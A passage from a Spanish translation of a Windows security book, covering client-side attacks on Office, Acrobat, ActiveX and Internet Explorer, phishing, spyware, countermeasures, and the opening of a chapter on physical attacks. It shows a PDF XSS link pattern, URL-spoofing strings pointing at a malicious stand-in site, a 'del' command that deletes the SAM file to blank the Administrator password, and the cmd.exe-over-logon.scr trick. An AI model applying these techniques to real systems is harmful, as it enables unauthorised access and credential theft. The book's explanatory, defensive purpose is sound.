Security Response Center), como se ve en la sección “Referencias y lecturas adicionales”. Este
código explotado generaba un archivo malicioso de PowerPoint llamado Nanika.ppt, que cau-
saba que PowerPoint dejara de funcionar cuando se abría.
Como lo hemos analizado en todo el libro, Windows Vista y posteriores hacen que sea mu-
cho más fácil ejecutar con la menor cantidad de privilegios mediante características como el
Control de cuentas de usuario y el modo protegido de IE.
Analizaremos más contramedidas ante estos ataques en la sección, “Contramedidas genera-
les”, en páginas posteriores de este capítulo, porque suelen ser aplicables a éstos y otros tipos de
ataques que analizaremos en este capítulo.
Elegiremos ahora otro comercializador importante de software para mostrar que Microsoft
no es el único al que toman como objetivo los ataques maliciosos a documentos. Uno de los vec-
tores de ataque mejor conocidos para explotar vulnerabilidades del lado del cliente es la secuen-
cias de comandos de sitio cruzado (XSS, Cross Site Scripting) (consulte “Referencias y lecturas
adicionales”). XSS es, en esencia, la explotación de una vulnerabilidad de inyección de entrada
en un servidor que ejecuta comandos arbitrarios en el cliente. Empleando una vulnerabilidad de
seguridad en Adobe Acrobat Reader, Stefano Di Paola y Giorgio Fedon identificaron una falla
que permitiría al atacante ejecutar ataques a XSS mediante cualquier sitio Web que hospedara
archivos PDF. He aquí un vínculo de ejemplo:
http://host.com/ruta/a/pdf?cualquiera=javascript malicioso
El ataque se realiza mediante uno de los mecanismos clásicos, como la página Web maliciosa
o el mensaje de correo electrónico en texto enriquecido. Una víctima que hace clic en el vínculo
permitirá que el código de JavaScript se ejecute en el explorador del usuario. A primera vista, esto
parecería lo mismo que cualquier otro ataque a XSS o de suplantación de identidad. Sin embargo,
la importancia recae en el hecho de que la vulnerabilidad permite al atacante elegir como objetivo
cualquier servidor Web que hospede archivos PDF. Dado que los modelos de seguridad de explo-
rador restringen el acceso de JavaScript a los dominios, esta vulnerabilidad permite a un atacan-
te inyectar JavaScript y hacer que se ejecute en muchos sitios Web públicos y privados, siempre y
cuando hospeden archivos PDF. Se han desarrollado explotaciones de prueba de concepto que
permiten a los atacantes secuestrar sesiones de banca en línea populares y sitios de correo elec-
trónico basados en Web (consulte “Referencias y lecturas adicionales” para conocer vínculos).
Consulte Hacking Exposed: Web Applications, 2a edición, para conocer más antecedentes sobre los
Nota
ataques a secuencias de comandos de sitio cruzado.
Nota Un problema perenne de seguridad que resulta similar para los clientes de Microsoft es el URL
file://nombreservidor/recurso incrustado en una página Web maliciosa o un mensaje de correo
electrónico en HTML, que invocará una sesión de bloque de mensaje de servidor (SMB, Server
Message Block), con un nombre de servidor, que posiblemente proporcione credenciales LM/NTLM
a espías y que abre el sistema del cliente a un servidor falso y a ataques de intermediarios. Estos
ataques se cubrieron en el capítulo 5.
Abuso de ActiveX
Popularidad: 4
Simplicidad: 3
Impacto: 10
Clasificación de riesgo: 6
diferentes entornos y crea un usuario su con contraseña tzu en el sistema de destino. Por supuesto,
este código de shell puede reemplazarse con algo más malicioso.
Como siempre con los productos de Microsoft, la actualización a la versión más reciente trae
mejoras optimizadas de seguridad. En IE 7, Microsoft introdujo la característica denominada
“opt-in de ActiveX”, que deshabilita como opción predeterminada todos los controles ActiveX
preinstalados, y luego permite que los usuarios los habiliten o deshabiliten fácilmente, a medida
que los necesiten, al solicitárselos mediante la barra de información. Algunos aspectos de esto
también se han implementado en versiones anteriores de IE, pero de acuerdo con nuestra expe-
riencia es mucho más tranquilo y está mejor integrado en IE 7, en Vista, con el Control de cuentas
de usuario (UAC, User Account Control); para que vea esto por sí mismo, pruebe la instalación
del control Flash de Adobe en su explorador en Windows XP/IE 6 en comparación con Vista/IE
7; consideramos que también verá la diferencia.
Un conjunto de mejores prácticas de ActiveX recién desarrollada también es la base de la ca-
racterística opt-in de ActiveX, de modo que el comportamiento es mucho más intuitivo que en
versiones anteriores. Se trata de un cambio bienvenido en comparación con los malos y viejos
días de ActiveX, que en realidad forzaban al usuario a tomar una decisión intuitiva sobre la eje-
cución o no de un control (también conocida como Authenticode). Al parecer, Microsoft apren-
dió a caminar por la más compleja línea entre bloquear el explorador y dejarlo en un estado casi
inútil (por ejemplo, la configuración mejorada de seguridad) y en el otro extremo simplemente
volcar las decisiones de seguridad sobre los usuarios mediante interfaces de usuario crípticas.
Vulnerabilidades de IE
Popularidad: 4
Simplicidad: 3
Impacto: 10
Clasificación de riesgo: 6
Ahora, analicemos uno de los principales hosts de controles ActiveX dentro de Windows,
Internet Explorer (IE), que ha tenido varios problemas de seguridad por cuenta propia. En reali-
dad, IE puede ser responsable de la mayor cantidad de vulnerabilidades que cualquier producto
que Microsoft haya creado. Incluso productos de servidor como Internet Information Services
(IIE) y Windows Server han disfrutado una frecuencia menor de boletines de seguridad, mien-
tras que IE simplemente sigue dando de qué hablar. Ilustremos esto con algunos ejemplos.
Ataques de acceso de dominio cruzado Una de las tendencias más problemáticas de las vulnera-
bilidades de IE son los denominados problemas de acceso de dominio cruzado. Casi todos los
modernos exploradores usan un modelo de seguridad basado en dominios, que son límites de
seguridad arbitrarios diseñados para evitar que ventanas/marcos/documentos/secuencias
de comandos de una fuente (por lo general especificada por un dominio del sistema de nom-
bres de dominio) interactúen con recursos que se originan en otro lugar. A esto en ocasiones se
le denomina la “directiva del mismo origen”, debido a los manuales de referencia de JavaScript
de Netscape. Por ejemplo, si sitiomalvado.com pudiera ejecutar JavaScript en el dominio Citi-
bank.com, los clientes del Citibank podrían ser víctimas mediante (digamos) un simple correo
electrónico que contenga una secuencia de comandos maliciosa que secuestre sus cookies, ini-
cie sesión en el sitio Web de banca en línea de Citibank y envíe dinero en efectivo al lugar que
elija el atacante.
La historia de las explotaciones de dominio cruzado de IE es larga y variada. A mediados de
2007, el gurú de la seguridad en exploradores Michal Zalewski demostró una vulnerabilidad en
IE 6 y 7 para la cual aseguró que “todo el modelo de seguridad del explorador colapsa como un
castillo de naipes y lo vuelve vulnerable a una inmensa cantidad de ataques desagradables”. La
esencia del problema es una condición de carrera cuando se navega de un sitio (que puede acce-
derse mediante una secuencia de comandos y ser modificada por el atacante) a otro, de modo tal
que existe una ventana de tiempo en que la secuencia de comandos puede realizar acciones con
los permisos de la página anterior contra contenido de la página recién cargada (por ejemplo,
leer o establecer la cookie de la página anterior). Esto es una violación muy desagradable del
mismo modelo de dominio, y Zalewski publicó una página de prueba de concepto que “robaba”
su cookie del sitio en polaco de Google, como se muestra en la figura 10-1.
En 2006, Matan Gillon ilustró la manera de inyectar hojas de estilo en cascada (CSS, Casca-
ding Style Sheets) en páginas Web remotas que sólo contienen llaves ({ }), mismas que suelen usar-
se para definir selectores, propiedades y valores de estilo. Al explotar una falla en el analizador
Figura 10-1 La explotación de “atrapamiento 1” de IE 6/7 de Michal Zalewski roba una cookie
sintáctico de IE para CSS, y mediante una revisión operacional de Google, Gillon desarrolló una
explotación de prueba de concepto que obtenía de manera encubierta datos del usuario, cuando
éste utilizaba la utilería Desktop Search de Google.
A principios de 2005, Michael Evanchik, Paul de GreyHats Security, y http-equiv reportó que el
control ActiveX HTML Help (hhtctrl.ocx) no determinaba apropiadamente el origen de las ventanas
abiertas por el comando Temas relacionados, lo que permitía que un atacante abriera dos venta-
nas diferentes que señalaban al mismo dominio, con lo que conectaban las ventanas principales a
través de los límites de seguridad del dominio. Por cierto, este problema de hhtctrl.ocx se reportó
después de que Microsoft implementó su bloqueo de zona de equipo local (LMZ, Local Machine
Zone) en Windows XP Service Pack 2(XP SP2), pero hablaremos más de ello en páginas posteriores.
A mediados de 2004, Paul de GreyHats Security reportó una vulnerabilidad de confusión en
la caché con IE, donde en esencia olvidaba el origen de la referencia en caché a una función cuan-
do se cambiaba el dominio principal, permitiendo que un atacante controlara el contexto en que
se ejecutaba la función en caché. Esto permitiría la ejecución de secuencias de comandos en do-
minios arbitrarios, a elección del atacante, simplemente al hacer que la víctima viera algún
HTML malicioso. Y la lista sigue.
Ataques a la zona de equipo local Un subtema popular de los problemas de acceso de dominio cru-
zado es el ataque a la zona de equipo local (LMZ, también conocido como zona de mi PC), que se
diseñó para diferenciar entre secuencias de comandos remotas posiblemente maliciosas y ejecuta-
bles “amigables” cargados en la máquina local. La LMZ es una zona “especial” en la implementa-
ción de IE del modelo de seguridad de dominio, en que el código se ejecuta con los privilegios del
usuario que ejecuta IE. Por tanto, los atacantes han buscado, de manera tradicional, inyectar códi-
go malicioso en LMZ. Las explotaciones de inyección de LMZ proliferaron a tal grado que Micro-
soft finalmente lanzó una característica llamada bloque de equipo local en XP SP2. Por tanto, muchos
han argumentado durante años que el concepto completo de acceso remoto a secuencias de co-
mandos locales “amigables” es poco realista y que el diseño de LZM debe eliminarse del todo.
Lo importante del caso es que no tomó mucho tiempo para que el notorio hacker de cliente
Web http-equiv pasara el bloqueo de LMZ, lo que ilustra los desafíos continuos de defenderse con-
tra problemas de diseño. Thor Larholm ofreció una descripción sólida del apuntalamiento de esta
explotación. En esencia, la explotación usa el elemento de imagen de HTML (IMG) con el atributo
DYNSRC señalando a un archivo remoto. Cuando esta imagen se arrastra y coloca en una ventana
que hace referencia a contenido local, es posible plantar el archivo al que se hace referencia en el
atributo DYNSRC en la máquina de la víctima, en una ubicación conocida. Http-equiv publicó una
A partir de aquí, Jelmer carga algún JavaScript en más marcos IFRAME localizados en la
LMZ. Estas secuencias de comandos hacen la carga pesada, utilizando el control ActiveX ADO-
DB.stream instalado con IE para copiar un ejecutable de un sitio del equipo local y lo ejecuta
(sobrescribe el ejecutable del Reproductor de medios de Windows, en C:\Archivos de progra-
ma\Windows Media Player\wmplayer.exe para ocultar su verdadero propósito). El ejecutable
de Jelmer es un clip gráfico inofensivo, pero demuestra lo que pretende: ahora puede ejecutarse
código con los privilegios completos del usuario que inició sesión.
• Manténgase al día con los parches (lo óptimo es la ejecución de las versiones más
recientes de Windows e IE, Vista e IE 7, al momento de escribir esto).
• Ejecute con la menor cantidad de privilegios (Control de cuentas de usuario de Vista y
Modo protegido de IE 7 son lo último en este sentido).
TRUCOS
Si un atacante no logra identificar una vulnerabilidad técnica para explotación, puede recurrir a
trucos. El término ingeniería social se ha usado durante años en los círculos de seguridad para
describir esta técnica de usar la persuasión, el engaño, o ambos, para obtener acceso a informa-
ción digital.
Estos ataques han generado un fuerte empujón a la técnica en años recientes, y ha surgido
nueva terminología para describir esta fusión de trucos humanos básicos y sofisticados actos de
magia técnicos. La expresión que ha obtenido más popularidad en los últimos tiempos es phish-
ing, o suplantación de identidad, que representa, en esencia, un ataque clásico de ingeniería so-
cial implementado con tecnología de Internet. Sin embargo, esto no pretende modificar su
impacto, que de acuerdo con los estimados cuesta a los consumidores más de mil millones de
dólares al año, una cifra que está creciendo firmemente.
Los defraudadores más agresivos engañan al usuario para que instalen software engañoso,
denominado spyware, una amplia clase de programa que incluyen software encubierto o enga-
ñoso que secuestra los recursos del equipo para desplegar anuncios o monitoree hábitos de explo-
ración de Web (por lo general, para venderlos posteriormente a empresas de mercadotecnia).
Debido a que este libro se concentra en Windows, no vamos a explorar la suplantación de
identidad ni el spyware, en general, porque no afectan únicamente a los productos de Microsoft,
sino a cualquier aplicación cliente, incluidos Mozilla Firefox, Apple Safari y todos los programas
que habitan en el sistema típico del usuario final. Más bien, nos concentraremos brevemente
aquí en los dos siguientes temas:
sugerencia
Recomendamos Hacking Exponsed: Web Applications, 2a edición, si está interesado en un
tratamiento más a fondo de la suplantación de identidad, el spyware y los envíos masivos de correo
basura relacionados.
Suplantación de identidad
Popularidad: 10
Simplicidad: 8
Impacto: 8
Clasificación de riesgo: 9
http://nombreusuario:contraseña@sitio.com/restodeurl
htpp://www.microsoft.com%01@www.malware.com
Observe el hexadecimal %01, que causa que IE despliegue microsoft.com en la barra de direc-
ción, pero sería el contenido de malware.com el que se cargaría. Quienes recurren a la suplantación
de identidad no pueden pedir una mejor vulnerabilidad, porque ahora todo lo que tienen que
hacer es revestir sus sitios fraudulentos para que parezcan un banco en línea, ¡y sus víctimas ni
siquiera pueden depender de la barra de dirección para indicarles algo diferente! En la figura
10-3 se muestra un correo electrónico de suplantación de identidad diseñado para explotar esta
vulnerabilidad. Observe algunos de los rasgos familiares (la autenticidad se finge empleando
imágenes de marca familiares y se pide que realice una acción con urgencia), todo culminando con
el seductor botón Continue justo en medio del mensaje, urgiendo a la víctima para que haga clic
y simplemente se encargue de este problema. Este botón es un vínculo a:
Figura 10-3 Un correo electrónico de suplantación de identidad que explota una vulnerabilidad
de IE; el botón es un vínculo con http://micuenta.earthlink.net%01@sitiomalvado.com/contrasena/
RestablecerContrasena.html
http://micuenta.earthlink.net%01@sitiomalvado.com/contrasena/Restablecer-
Contrasena.html
Si alguien hace clic en este botón, la barra de dirección del explorador dirá http://micuenta.
earthlink.net (el sitio legítimo de administración de cuenta de EarthLink), pero la víctima en reali-
dad estará explorando un sitio fraudulento de recolección de contraseñas en sitiomalvado.com/
contrasena/RestablecerContrasena.html.
Esta vulnerabilidad en particular no se parchó durante varios meses, lo que ilustra la nece-
sidad de ser más proactivo en la defensa contra los ataques de suplantación de identidad.
sugerencia
Aún más aterrador que los caracteres especiales como la notación hexadecimal son los URL con
uno o algunos caracteres expresados en un idioma internacional, lo que crea palabras visualmente
similares que en realidad son URL de sitios muy diferentes. La característica antiengaño de nombre
de dominio internacional de IE 7 ayuda a mitigar esto.
Figura 10-4 El resultado de revisar un sitio Web empleando el Filtro de suplantación de identidad
de IE 7
Cuando se ve en texto simple, este vínculo aparece ahora con paréntesis angulares:
Por último, pero no por ello menos importante, recomendamos que tenga un escepticismo
saludable cuando trate con todo en Internet, sobre todo en el caso de comunicaciones de correo
electrónico no solicitadas. Nuestro consejo es que nunca haga clic en hipervínculos en correos elec-
trónicos no solicitados. Si está preocupado por el mensaje, abra un nuevo explorador y escriba
manualmente el URI (por ejemplo, www.paypal.com) o haga clic en un favorito bien conocido.
No es difícil adquirir este hábito, y reduce de manera impactante la probabilidad de ser víctima
de la suplantación de identidad.
Spyware
Popularidad: 8
Simplicidad: 6
Impacto: 8
Clasificación de riesgo: 7
La mayoría de los usuarios está familiarizada con software que se comporta (casi siempre) de
manera transparente y de acuerdo con las expectativas. Cualquiera que haya leído este capítulo
también está familiarizado con software que innegablemente realiza actividades que ningún usua-
rio sano autorizaría. En algún lugar entre estos dos extremos se encuentra una amplia clase de pro-
gramas que pueden realizar algunas actividades con el consentimiento del usuario, y otras sin él.
El adware se define ampliamente como software que inserta anuncios en sus actividades coti-
dianas de cómputo. El mejor ejemplo de adware son esos molestos anuncios emergentes que satu-
ran su explorador cuando visita un sitio con prácticas abusivas de publicidad. Cierto adware es
legítimo, pero algunos cruzan la línea del abuso no autorizado. 180Solutions es una compañía no-
toria por usar técnicas engañosas de software para impulsar su negocio de anuncios en línea.
El spyware está diseñado para monitorear subrepticiamente el comportamiento del usuario, por
lo general para fines de registro y reporte de ese comportamiento a compañías de rastreo en línea
que, a su vez, venden esta información a anunciantes o proveedores de servicios en línea. Corpora-
ciones, investigadores privados, oficiales de policía, agencias de inteligencia, esposos que sospechan
de sus cónyuges, etc., también se sabe que usan spyware para sus fines, sean legítimos o no.
Existe gran cantidad de recursos en Internet que catalogan y describen software molesto y
malicioso como el adware y el spyware (consulte “Referencias y lecturas adicionales”). En el res-
to de nuestro análisis se cubrirán las técnicas comunes de inserción de spyware y adware y la
manera de deshacerse de estas pestes.
Técnicas comunes de inserción El adware y el spyware llegan a su equipo de una de dos mane-
ras: al explotar una vulnerabilidad (como ya analizamos en la primera parte de este capítulo), o
al convencer al usuario de que lo instale por voluntad propia. Se usa un rango de métodos para
lograr lo último.
Programas que aparecerán pronto presentarán una rutina de instalación sencilla que incluye
una opt-in afirmativa para la instalación, además de un Acuerdo de licencia de usuario final
(EULA, End User Licence Agreement), que despiertan expectativas (aunque la mayoría de los
usuarios ignora esos legalismos obtusos). En el otro extremo del espectro está el software total-
mente engañoso que se instala de manera encubierta, como parte de la rutina de instalación de
otro software, por ejemplo. Microsoft ha producido algunos criterios interesantes para lo que
constituye el software engañoso y está implementando estos criterios en sus productos y servi-
cios antimalware (consulte “Referencias y lecturas adicionales”).
Ubicaciones comunes de inserción Por lo general, el spyware y el adware suelen insertarse vía
una o más de las siguientes técnicas:
Figura 10-5 La utilería msconfig enumera los puntos de extensibilidad de inicio automático en
Windows XP. Observe el programa de software de red de igual a igual resaltado aquí
CONTRAMEDIDAS GENERALES
Después de años de investigar y escribir sobre los diversos desafíos pasados y futuros de la se-
guridad en línea del cliente, hemos ensamblado los siguientes “10 pasos para una experiencia
más segura en Internet”, que reúne los consejos que hemos cubierto de manera detallada previa-
mente en este capítulo, además de algunas mejores prácticas:
1. Despliegue una firewall personal, de manera ideal una que también pueda manejar
intentos de conexión salientes. La Firewall de Windows actualizada en XP SP2 y
posterior es una buena opción.
2. Manténgase al día con todos los parches de seguridad del software relevantes. Los
usuarios de Windows deben configurar Actualizaciones automáticas de Microsoft para
facilitar la carga de esta tarea.
3. Ejecute software antivirus que rastree automáticamente su sistema (sobre todo
datos adjuntos de correo electrónico entrantes) y manténgase actualizado. También
recomendamos la ejecución de las utilerías antiadware/spyware y antiphishing
analizadas en este capítulo.
4. Configure inteligentemente las Opciones de Internet de Windows en el Panel de
control (también accesible mediante IE y Outlook/OE).
5. Ejecute con la menor cantidad de privilegios. Nunca inicie sesión como Administrador (o
una cuenta de altos privilegios equivalente) en un sistema que usa para explorar Internet
o leer correo electrónico. Use características de privilegios reducidos como el Control de
cuentas de usuario de Windows y el Modo protegido de IE (PMIE), donde sea posible.
6. Los administradores de redes grandes de sistemas Windows deben desplegar las
tecnologías anteriores en puntos de estrangulamiento claves de redes (es decir,
firewalls basadas en red y en host, antivirus en servidores de correo, etc.) para proteger
más eficientemente a grandes cantidades de usuarios.
7. Lea el correo electrónico en texto simple.
8. Configure los programas de productividad de oficina con la mayor seguridad posible; por
ejemplo, establezca los programas de Microsoft Office en seguridad de macros Muy alta
bajo Herramientas | Macro | Seguridad. Considere el uso de MOICE (Microsoft Office
Isolated Conversion Environment, entorno de conversión aislado de Microsoft
Office) cuando se abren archivos de formato binario de Word, Excel o PowerPoint.
9. No sea crédulo. Tome las solicitudes y transacciones realizadas en Internet con gran
escepticismo. ¡No haga clic en vínculos con correos electrónicos de fuentes no confiables!
10. Mantenga los dispositivos de cómputo físicamente seguros.
En la sección “Referencias y lecturas adicionales”, al final de este capítulo, encontrará víncu-
los con más información acerca de estos pasos. A continuación, nos expandiremos un poco sobre
algunos de los puntos de la lista que no hemos analizado en este capítulo.
Zonas de seguridad de IE
Llámenos anticuados, pero pensamos que uno de los aspectos más subestimado de la seguridad
de Windows son las zonas de seguridad. Muy bien, tal vez nunca haya escuchado de ellas, o tal vez
nunca esté expuesto a la manera elegante en que puede administrar la seguridad de su expe-
riencia de Internet, pero es un buen momento para que los descubra.
En esencia, el modelo de seguridad de zonas permite a los usuarios asignar distintos niveles
de confianza al comportamiento del software dentro de cualquiera de las cuatro zonas: Intranet
local, Sitios de confianza, Internet y Sitios restringidos. Como hemos visto, existe una quinta
zona denominada zona de equipo local (LMZ, Local Machine Zone), pero no está disponible en
la interfaz de usuario porque sólo es configurable utilizando herramientas especiales o modifi-
caciones directas en el Registro de Windows.
Pueden agregarse manualmente sitios a cada zona excepto la de Internet. Ésta contiene todos
los sitios no asignados a alguna de las otras zonas, y cualquier sitio que contenga un punto (.) en
su URL. (Por ejemplo, http://local es parte de la zona de la Intranet local como opción predeter-
minada, mientras que http://Microsoft.com está en la zona de Internet porque tiene puntos en
el nombre). Cuando visita un sitio Web dentro de una zona, la configuración de seguridad espe-
cífica para esa zona se aplica a sus actividades en ese sitio. (Por ejemplo, puede habilitar Ejecutar
controles ActiveX). Por tanto, la zona más importante que hay que configurar es la de Internet,
porque contiene todos los sitios que es probable que los usuarios visiten como opción predeter-
minada. Por supuesto, si agrega sitios manualmente a cualquier otra zona, esta regla no se apli-
ca. Asegúrese de seleccionar con cuidado sitios confiables y no confiables con cuidado cuando
se llenen las otras zonas, si decide hacerlo. (Por lo general, los administradores llenarán las otras
zonas para los usuarios de la LAN corporativa).
Tabla 10-2 Parámetros de seguridad recomendados para la zona de Internet (configuraciones del
nivel personalizado después de establecer la opción predeterminada como Elevada)
Figura 10-6 El bloqueo de los controles ActiveX “seguros para secuencia de comandos” empleando
Opciones de Internet del Panel de control, protegerá contra controles maliciosos descargados a través de
páginas Web hostiles
Precaución Sea cuidadoso al asignar sólo sitios muy confiables a la zona Sitios de confianza, porque se colocarán
menos restricciones en descargas de contenido activo y ejecutado por ellos. Esté consciente de que
aún sitios con aspecto respetable pueden verse comprometidos por hackers maliciosos o podrían
tener un desarrollador falso que está cosechando datos de usuario (o algo peor).
Figura 10-7 Configuración de Outlook para usar la zona Sitios restringidos cuando navega
Al igual que con IE, existen las mismas desventajas en configurar Outlook en el nivel más
restrictivo. Sin embargo, el contenido activo es más que sólo algo molesto cuando toma la forma
de un mensaje de correo electrónico, y los peligros de interpretarlo sobrepasan en mucho a los
beneficios estéticos.
exploradores alternos en Vista dentro de una cuenta que no sea de Administrador con Control
de cuentas de usuario proporciona protección contra obvios intentos de instalar ejecutables.
En el caso de Windows XP, también hemos oído de colegas que ejecutan Firefox como una
cuenta de Windows de menores privilegios (como Invitado) empleando la herramienta runas.
Sin embargo, tenga cuidado, porque la ejecución de IE como un usuario de menores privilegios
se ha analizado en listas de correo por algún tiempo, y en algunos escenarios la protección no es
lo que parece. Por ejemplo, cuando IE está incrustado en otra aplicación, se lanza vía COM o se
inicia al hacer clic en un URL, aún se ejecuta como la cuenta interactiva actual. Esto puede llevar
a confusión sobre cuáles ventanas de IE son de menores privilegios y cuáles no. Y, por supuesto,
debido a que los procesos del explorador de menores privilegios aún se están ejecutando en el
mismo escritorio con otras aplicaciones, los llamados ataques de Shatter aún son factibles, en los
que un proceso ataca a otro mediante las colas de mensajería de Windows.
RESUMEN
Esperamos que esta pequeña excursión al otro lado del modelo cliente/servidor haya servido
para abrirle los ojos. Por lo menos, debe invitar a una más amplia consideración de toda la pos-
tura de seguridad de la infraestructura de la tecnología de Windows, incluida la de los usuarios
finales tercos. Dormirá mejor al saber que una buena conciencia por parte del usuario (orientada
por directivas), software actualizado (vaya a Herramientas | Windows Update de IE), zonas de
seguridad de IE apropiadamente configuradas y antivirus de red/filtro de contenido pueden
mantener las amenazas al mínimo.
Vulnerabilidades, explotaciones
y boletines
Explotación del control ActiveX Microsoft http://milw0rm.com/exploits/4066
Speach API, XP SP2, por A. Micalizzi
Bit de cierre: “Cómo impedir la ejecución http://support.microsoft.com/kb/240797
de un control ActiveX en Internet
Explorer”
Referencia Ubicación
Cross-site scripting vulnerability in versions www.adobe.com/support/security/
7.0.8 and earlier of Adobe Reader and advisories/apsa07-01.html
Acrobat
RSnake’s Adobe Acrobat PDF XSS exploit http://ha.ckers.org/blog/20070103/pdf-
xss-can-compromise-your-machine/
Boletín de seguridad de Microsoft MS06- www.microsoft.com/technet/security/
038, Vulnerabilidades de Microsoft Office bulletin/MS06-038.mspx
“Explotación de Vista con ANI”, por www.determina.com/security.research/
Alexander Sotirov flash/ani.html
Explotación de manejo del cursor animado http://milw0rm.com/exploits/3634
de Windows
Boletín de seguridad de Microsoft MS07- www.microsoft.com/technet/security/
017, la vulnerabilidad de ANI bulletin/MS07-017.mspx
“Microsoft Office Security”, por Khushbu www.securityfocus.com/infocus/1874
Jithra
Boletín de seguridad de Microsoft www.microsoft.com/technet/security/
MS06-028, Vulnerabilidad en Microsoft bulletin/MS06-028.mspx
PowerPoint
Boletín de seguridad de Microsoft MS06- www.microsoft.com/technet/security/
038, Vulnerabilidad en Microsoft Office bulletin/MS06-038.mspx
Explotación de PowerPoint 2003 SP2 www.milw0rm.com/exploits/2091
Explotación de PowerPoint con Nanika.ppt http://milw0rm.com/exploits/2523
Blog de MSCR en que se explica la falla http://blogs.technet.com/msrc/
de eliminación de referencia nula en archive/2006/11/10/follow-up-
PowerPoint information-on-weblog-posting-about-poc-
published-for-ms-office-2003-powerpoint.
aspx
Explotación de “atrapamiento” de IE 6/7 de http://lcamtuf.coredump.cx/ierace/
Michal Zalewski
Boletín de seguridad de Microsoft MS04- www.microsoft.com/technet/security/
004, que cubre la vulnerabilidad de la bulletin/ms04-004.mspx
falsificación de la barra de direcciones
Configuración de seguridad
IEBlog http://blogs.msdn.com/ie/default.aspx
Modo protegido en Vista IE 7 http://blogs.msdn.com/ie/
archive/2006/02/09/528963.aspx
Cómo leer mensajes de correo electrónico www.microsoft.com/athome/security/
en texto simple empleando productos de online/browsing_safety.mspx#3
Microsoft
Referencia Ubicación
How to usa IE Security Zones http://support.microsoft.com/
?kbid=174360
IE’s Internet Security Manager Object http://msdn2.microsoft.com/en-us/
library/ms537026.aspx
“ActiveX Security: Improvements and Best http://msdn2.microsoft.com/en-us/
Practices” library/Bb250471.aspx
Bit de cierre en controles ActiveX http://support.microsoft.com/
?kbid=240797
“Cómo reforzar la seguridad de la zona http://support.microsoft.com/
Equipo local en Internet Explorer” ?kbid=833633
Marcas de acción de URL http://msdn2.microsoft.com/en-us/
library/ms537178.aspx
Internet Explorer Administration Kit (IEAK) www.microsoft.com/windows/ieak/
techinfo/default.mspx
Enhanced Security Configuration (ESC) www.microsoft.com/windowsserver2003/
para IE developers/iesecconfig.mspx
Internet Explorer en Wikipedia, revisión http://en.wikipedia.org/wiki/Internet_
histórica, vínculos Explorer
Referencia Ubicación
Windows Defender www.microsoft.com/athome/security/
spyware/software/default.mspx
capítulo 11
I C O S
TA Q U ES FÍS
A
345
H
asta este punto, hemos considerado varios ataques lógicos montados sobre una red por
un adversario. En este capítulo nos apartamos de ese método para analizar ataques lan-
zados con acceso físico irrestricto a un sistema Windows. Aunque numerosos paradig-
mas de ataques físicos pueden ser diferentes en distintos escenarios, como este libro está concen-
trado en Windows, nos limitaremos a analizar dos:
• Ataques fuera de línea Por lo general, esto se relaciona con iniciar el equipo de
destino en un sistema operativo alterno para realizar el ataque, y luego por lo general
requiere mucho tiempo e interacción para implementarlo con éxito. El escenario
estándar aquí es una laptop robada que ya no se encuentra bajo control físico del
usuario autorizado.
• Ataques en línea La máquina es atacada mientras se ejecuta, por lo general mediante
ataques “usuario contra usuario”, o al conectar un dispositivo, medio o red malicioso,
o una combinación de ellos, para comprometer todo el sistema. Estos ataques suelen
requerir sólo unos segundos y escasa o nula interacción. El escenario estándar aquí es
una máquina que permanece bajo control físico del usuario autorizado, pero que está
administrativamente controlada (manejada mediante un rootkit) por el atacante.
Estos dos tipos de ataques están diseñados para pasar por alto los controles de seguridad del
sistema operativo, volviéndolos inútiles. Nos concentraremos en esos ataques que son relevan-
tes para características específicas de Windows diseñadas para mitigarlos.
Empezaremos nuestro análisis de los ataques físicos con un truco simple pero que puede ser
devastador: copiar la shell de comandos de la familia NT (%systemroot%\system32\cmd.exe)
sobre el protector de pantalla de inicio de sesión (%systemroot%\system32\logon.scr). Puede
hacer esto utilizando cualquier medio de arranque que puede montar la partición del sistema
(por ejemplo, NTFSDOS).
Tan sencillo como este ataque puede parecer, funciona en Windows 2000 y versiones previas;
una vez que aparece el protector de pantalla, se presenta un shell de comandos, que se ejecuta
en el contexto de la cuenta SYSTEM. De aquí, usted puede emitir el comando explorer para
lanzar un shell gráfica o simplemente ir mediante el shell de comandos.
Por supuesto, debe arrancarse el sistema en el entorno operativo alterno, y luego los atacan-
tes tienen que esperar a que aparezca el protector de pantalla antes de explotar la situación, de
modo que un ataque exitoso requiere acceso físico y no restringido ni monitoreado a la máqui-
na de la víctima. Una secuencia de comandos de procesamiento por lotes puede usarse para
automatizar la copia de cmd.exe sobre logon.scr, reduciendo la cantidad de tiempo que un ata-
cante tiene que pasar frente a la máquina de destino. En este escenario, el atacante podría cami-
nar, insertar un CD-ROM, reiniciar el sistema y retirar el CD una vez que haya hecho su trabajo
sucio. Entonces el atacante tiene que esperar hasta que el protector de pantalla aparezca antes de
obtener realmente los datos jugosos. ¿Habrá regresado entonces de su descanso para tomar el
café?
Una vez que se haya obtenido la shell SYSTEM, es muy fácil atacar el sistema mediante las
técnicas delineadas en el capítulo 7, exponiéndolo a los muchos riesgos que analizaremos en el
resto del capítulo.
El 25 de julio de 1999, James J. Grace y Thomas S. V. Bartlett III lanzaron un artículo sorpren-
dente describiendo cómo nulificar la contraseña Administrador al arrancar en un sistema opera-
tivo alterno y eliminar el archivo SAM. Sí, sorprendentemente simple como suena, el hecho de
eliminar el archivo SAM mientras el sistema está fuera de línea da como resultado la capacidad
de iniciar sesión como Administrador con una contraseña NULL cuando se reinicie el sistema.
Este ataque también elimina cualquier cuenta de usuario presente en el sistema de destino, pero
si esto tiene una importancia secundaria para los datos del disco, esto preocupará poco al ata-
cante.
El ataque podría implementarse de varias maneras, pero la más sencilla es arrancar en cual-
quier entorno operativo alterno y eliminar el archivo. El siguiente comando se utiliza desde un
disco flexible montado como unidad A: que ha usado NTFSDOS para montar la partición C: de
Windows en un estado fuera de línea:
A:\>del c:\winnt\system32\config\sam
Esto supone que la carpeta del sistema retiene las convenciones de asignación de nombres
predeterminadas. Utilice el comando dir o echo %systemroot% para revisar la ruta real.
Cuando el sistema se vuelve a arrancar, Windows vuelve a crear un archivo SAM predeter-
minado, que contiene una cuenta Administrador con una contraseña en blanco. Con sólo iniciar
sesión utilizando estas credenciales se obtendrá control completo del sistema.
Es importante tomar nota aquí que los controladores de dominio de Windows 2000 y poste-
riores no son vulnerables a la eliminación de SAM, porque no mantienen hashes de contraseñas
en él. Sin embargo, el artículo de Grace y Bartlett describe un mecanismo para lograr casi el mis-
mo resultado en controladores de dominio al instalar una segunda copia de Windows 2000.
Analizaremos las contramedidas ante estos ataques en una sección posterior denominada
Nota
“Contramedidas ante ataques fuera de línea”.
Los atacantes que desean un mecanismo de ataque físico más complejo que no oblitere to-
